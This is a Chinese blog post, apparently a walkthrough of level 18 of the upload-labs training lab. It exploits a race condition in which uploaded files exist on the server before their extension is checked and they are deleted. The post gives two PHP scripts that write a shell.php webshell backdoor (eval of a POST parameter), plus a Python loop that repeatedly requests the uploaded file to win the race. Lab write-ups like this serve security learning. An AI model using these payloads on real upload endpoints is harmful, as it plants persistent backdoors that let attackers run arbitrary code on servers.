当前位置:   article > 正文

文件上传upload-labs 第18关 条件竞争_upload-labs18

upload-labs18

分析

        这是由于逻辑顺序判断不严谨而导致的一个漏洞。白盒角度分析代码执行顺序是先将上传的文件移动到一个目标路径,然后检查文件的扩展名是否在允许的数组中,如果不是,就删除文件,如果是,就重命名文件。

       在检查和删除文件之前,这个文件已经保存到服务器目标路径上了,因此有可能访问到还没来得及检查删除的文件。

       如果上传的文件是一个PHP脚本,那么在删除之前就有可能被访问执行。

       即使前面的顺序改过来了,还有一点就是这一关是先移动文件再重命名的,同样会有一个时间差可以访问到上传的文件,这个是在下一关的突破点。

以下PHP代码在执行成功时创建一个shell.php并写入后门代码。

  1. <?php 
  2. if (!file_exists('shell.php') && file_put_contents('shell.php', '<?php @eval($_POST[\'x\']);?>')) { 
  3.     echo "The shell.php file was successfully created and the content has been written.\n"
  4. } else
  5.     echo "The file shell.php already exists.\n"
  6. ?>
  1. <?php
  2. // 记得转义单引号或者用双引号区分
  3. $newScriptContent = '<?php @eval($_POST[\'x\']);?>';
  4. // 新脚本的文件名
  5. $newScriptFilename = 'shell.php';
  6. // 检查文件是否存在
  7. if (!file_exists($newScriptFilename)) {
  8.     // 创建新脚本文件
  9.     $file = fopen($newScriptFilename, 'w');
  10.     if ($file) {
  11.         fwrite($file, $newScriptContent);
  12.         fclose($file);
  13.         echo "The $newScriptFilename file was successfully created and the content has been written.\n";
  14.     } else {
  15.         echo "File $newScriptFilename failed to create.\n";
  16.     }
  17. } else {
  18.     echo "The file $newScriptFilename already exists.\n";
  19. }
  20. ?>

以下python代码高频访问移动之后未被删除之前的php脚本。

  1. import requests
  2. import time
  3. # 设置目标网站的URL
  4. url = "xxx"
  5. # 设置每秒的访问次数
  6. rate = 5
  7. # 设置持续的时间
  8. duration = 60
  9. # 计算每次访问的间隔
  10. interval = 1 / rate
  11. # 初始化开始时间
  12. start_time = time.time()
  13. # 初始化访问次数
  14. count = 0
  15. # 在持续时间内重复发送请求
  16. while time.time() - start_time < duration:
  17.     try:
  18.         # 发送请求并获取响应
  19.         response = requests.get(url)
  20.         # 计数
  21.         count += 1
  22.         # 响应的文本内容里有"successfully"或者"exists"就停止循环
  23.          if "successfully" in response.text or "exists" in response.text:
  24.             print("ok" + "Status code - " + str(response.status_code) + "\n")
  25.             # 获取返回的文本内容
  26.             print(response.text)
  27.             break
  28.         time.sleep(interval)
  29.     except requests.RequestException as e:
  30.         # 输出异常信息并退出循环
  31.         print("Error: " + str(e))
  32.         break
  33. print("总请求次数: " + str(count))
  34.  

演示

       由于文件移动到目标路径在前,拓展名检查在后,所以本关是任意文件上传

       只需要不断的上传的文件,可以观察到服务器会有上传的文件一闪而过。所以可以通过python脚本不断的访问,在文件被删除之前触发执行上传的文件。

       即使执行了上传的的文件,这个文件执行之后也会被检测删除。无所谓,上传的文件生成webshell不会被删除。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/503690
推荐阅读
相关标签
  

闽ICP备14008679号